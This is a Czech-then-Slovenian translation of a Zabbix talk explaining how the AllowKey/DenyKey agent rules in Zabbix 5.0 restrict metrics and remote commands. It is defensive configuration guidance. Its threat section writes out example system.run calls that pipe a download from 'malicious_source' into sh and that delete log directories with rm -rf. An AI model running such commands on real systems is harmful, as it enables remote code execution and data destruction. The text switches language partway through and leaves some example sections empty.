
Podpora černých a bílých seznamů pro metriky na straně agenta
Tikhon Uskov, Inženýr integrace, Zabbix
Problémy s bezpečností dat
Ve Zabbixu 5.0 byla přidána nová funkce, která zlepšuje bezpečnost systémů využívajících Zabbix Agent a nahrazuje starý parametr EnableRemoteCommands.
Zlepšení bezpečnosti systémů využívajících agenta je dáno tím, že agent může provádět množství potenciálně nebezpečných akcí.
- Agent může shromažďovat téměř jakékoli informace, včetně důvěrných nebo potenciálně nebezpečných dat, z konfiguračních souborů, logů, souborů s hesly nebo jakýchkoli jiných souborů.
Například pomocí nástroje zabbix_get lze získat přístup k seznamu uživatelů, jejich domovským adresářům, souborům s hesly atd.

Přístup k datům pomocí nástroje zabbix_get
OPOMBA. Data lze získat pouze tehdy, pokud má agent práva pro čtení odpovídajícího souboru. Ale například soubor /etc/passwd/ je přístupný všem uživatelům.
- Agent může také provádět potenciálně nebezpečné příkazy. Například klíč *system.run[]** umožňuje provádět jakékoliv vzdálené příkazy na uzlech sítě, včetně spuštění skriptů z webového rozhraní Zabbix, které také provádějí příkazy na straně agenta.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]- V Linuxu je agent ve výchozím nastavení spuštěn bez root privilegií, zatímco ve Windows je spuštěn jako služba pod jménem System a má neomezený přístup k souborovému systému. Proto pokud po instalaci nejsou do nastavení Zabbix Agenta provedeny změny, agent má přístup k registru, souborovému systému a může provádět WMI dotazy.
V předchozích verzích parametr EnableRemoteCommands=0 umožňoval pouze zakázat metriky s klíčem *system.run[]** a provádění skriptů z webového rozhraní, přičemž nebylo možné omezit přístup k jednotlivým souborům, povolit či zakázat jednotlivé klíče, které byly nastaveny spolu s agentem, nebo omezit používání jednotlivých parametrů.

Použití parametru EnableRemoteCommand v dřívějších verzích Zabbix
AllowKey/DenyKey
Zabbix 5.0 pomáhá chránit před takovým neoprávněným přístupem díky bílým a černým seznamům pro povolení a zakázání metrik na straně agenta.
Ve Zabbixu 5.0 jsou všechny klíče, včetně *system.run[]**, povoleny, a byly přidány dva nové konfigurační parametry agenta:
AllowKey= — dovoljene kontrole;
DenyKey= — prepovedane kontrole;
kjer — vzorec imena ključa s parametri, v katerem se uporabljajo metaznakovi (*).
Ključi AllowKey in DenyKey omogočajo dovolitev ali prepoved nekaterih metrik po določenem vzorcu. V nasprotju z drugimi konfiguracijskimi parametri ni omejitve na število parametrov AllowKey/DenyKey. To omogoča natančno določitev, kaj lahko agent počne v sistemu, zahvaljujoč ustvarjanju drevesa kontrol — izvršenih ključev, kjer ima zelo pomembno vlogo vrstni red njihovega zapisa.
Zaporedje pravil
Pravila se preverjajo v vrstnem redu, v katerem so navedena v konfiguracijski datoteki. Preverjanje ključa po pravilih poteka do prvega ujemanja, in takoj ko se ključ elementa podatkov ujema z vzorcem, se dovoli ali prepove. Po tem se preverjanje pravil ustavi, ostali ključi pa se prezrejo.
Zato, če se element ujema tako z dovoljenim kot s prepovedanim pravilom, bo izid odvisen od tega, katero pravilo je prvo v konfiguracijski datoteki.

2 različna pravila z istim vzorcem in ključem vfs.file.size[/tmp/file]
Vrstni red uporabe ključev AllowKey/DenyKey:
- natančna pravila,
- splošna pravila,
- prepovedujoče pravilo.
Na primer, če potrebujete dostop do datotek v določeni mapi, morate najprej dovoliti dostop do njih, nato pa prepovedati vse ostalo, kar ne spada pod določena dovoljenja. Če bo najprej uporabljeno prepovedujoče pravilo, bo dostop do mape prepovedan.

Pravilna zaporedja
Če je potrebno dovoliti zagon 2 orodij preko *system.run[]**, in če bo najprej navedeno prepovedujoče pravilo, orodja ne bodo zagnana, saj se prvi vzorec vedno ujema z vsakim ključem, spremljajoča pravila pa bodo prezrta.

Napačna zaporedja
Vzorci
Temeljna pravila
Vzorec — izraz s posebnimi znaki (wildcard). Metaznak (*) ustreza kateremu koli številu katerikoli znakov na določenem mestu. Metaznak se lahko uporablja tako v imenu ključa kot v parametru. Na primer, lahko strogo definirate besedilo prvega parametra, drugi pa določite kot wildcard.
Parametri morajo biti zapisani v oglate oklepaje [].
system.run[*— napačnovfs.file*.txt]— napačnovfs.file.*[*]— pravilno
Primeri uporabe wildcard.
- V imenu ključa in v parametru. V tem primeru ključ ne ustreza podobnemu ključu, ki ne vsebuje parametra, saj smo v vzorcu navedli, da želimo pridobiti nek konec imena ključa in nek sklop parametrov.
- Če v vzorcu niso uporabljeni kvadratni okviri, vzorec dovoljuje vse ključe, ki ne vsebujejo parametrov, in prepoveduje vse ključe z navedenim parametrom.
- Če je ključ zapisan v celoti, parametri pa so navedeni kot wildcard, bo ustrezal kateremu koli podobnemu ključu s katerimikoli parametri in ne bo ustrezal ključu brez kvadratnih okvirov, t. j. bo dovoljen ali prepovedan.

Pravila za izpolnjevanje parametrov.
- Če se predvideva uporaba ključa s parametri, morajo biti parametri zapisani v konfiguracijski datoteki. Parametri morajo biti navedeni kot metasimbol. Treba je previdno prepovedati dostop do katere koli datoteke in upoštevati, katere informacije lahko da metrika pri različnih variantah zapisa — s parametri in brez njih.

Posebnosti zapisovanja ključev s parametri
- Če je ključ naveden s parametri, vendar so parametri neobvezni in navedeni kot metasimbol, bo ključ brez parametrov dovoljen. Na primer, če želite prepovedati pridobivanje informacij o obremenitvi CPU in navedete, da mora biti ključ system.cpu.load[*] prepovedan, ne pozabite, da bo ključ brez parametrov vrnil povprečno vrednost obremenitve.

Pravila za izpolnjevanje parametrov
Opombe
Setup
- Nekatera pravila ne morejo biti spremenjena s strani uporabnika, na primer pravila za odkrivanje (discovery) ali samodejno registracijo agentov. Pravila AllowKey/DenyKey ne vplivajo na naslednje parametre:
— HostnameItem
— HostMetadataItem
— HostInterfaceItem
OPOMBA. Če administrator prepove kateri koli ključ, ob poizvedbi Zabbix ne izda informacij o tem, zakaj metrika ali ključ spadajo v kategorijo ‘NOTSUPPORTED‘. V log-datotekah agenta informacije o prepovedih za izvajanje daljinskih ukazov prav tako niso prikazane. To je izvedeno iz varnostnih razlogov, lahko pa oteži odpravljanje napak, če metrike spadajo v nepodprto kategorijo iz kakršnega koli razloga..
- Ne zanašajte se na določen vrstni red povezovanja zunanjih konfiguracijskih datotek (na primer, po abecednem vrstnem redu).
Orodja ukazne vrstice
Po nastavitvi pravil je treba zagotoviti, da je vse pravilno nastavljeno.
Lahko uporabite eno od treh možnosti:
- Dodajte metriko v Zabbix.
- Preizkusite z uporabo zabbix_agentd. Zabbix agent z možnostjo -print (-p) prikaže vse ključe (ki so privzeto dovoljeni), razen tistih, ki jih ne dovoli konfiguracija. Z možnostjo -test (-t) pa bo za nedovoljeni ključ vrnil ‘Unsupported item key‘.
- Preizkusite z uporabo zabbix_get. Alat zabbix_get z možnostjo -k bo vrnil ‘ZBX_NOTSUPPORTED: Unknown metric‘.
Dovoli ali prepusti
Lahko preprečite dostop do datoteke in se prepričate, na primer, z orodjem zabbix_get, da je dostop do datoteke onemogočen.

**
OPOMBA. Navednice v parametru se ignorirajo.
Dostop do take datoteke pa je lahko dovoljen po drugi poti. Na primer, če nanjo kaže simbolična povezava.

Priporočljivo je preveriti različne možnosti uporabe nastavljenih pravil ter upoštevati možnosti obvoda prepovedi.
Vprašanja in odgovori
Vprašanje. Zakaj je bila za opis pravil, dovoljenj in prepovedi izbrana tako zapletena shema vzorca s svojim jezikom? Zakaj ni bilo mogoče uporabiti, na primer, regularnih izrazov, ki jih uporablja Zabbix?
Odgovor. To je vprašanje učinkovitosti regex, saj je agent običajno en sam in preverja ogromno število metrik. Regex je precej težka operacija in ne moremo preverjati tisoč metrik na ta način. Wildcards so univerzalna, široko uporabljena in preprosta rešitev..
Vprašanje. A se datoteke Include ne vključujejo v abecednem redu?
Odgovor. Kolikor vem, je praktično nemogoče napovedati zaporedje uporabe pravil, če pravila razporedite po različnih datotekah. Priporočam, da zberete vsa pravila AllowKey/DenyKey v eni datoteki Include, ker medsebojno delujejo, in da vključite to datoteko..
Vprašanje. V Zabbix 5.0 možnost ‘EnableRemoteCommands=‘ v konfiguracijski datoteki ni, na voljo so le AllowKey/DenyKey?
Odgovor. Da, vse je pravilno..
Hvala za pozornost!
Izvor: habr.com
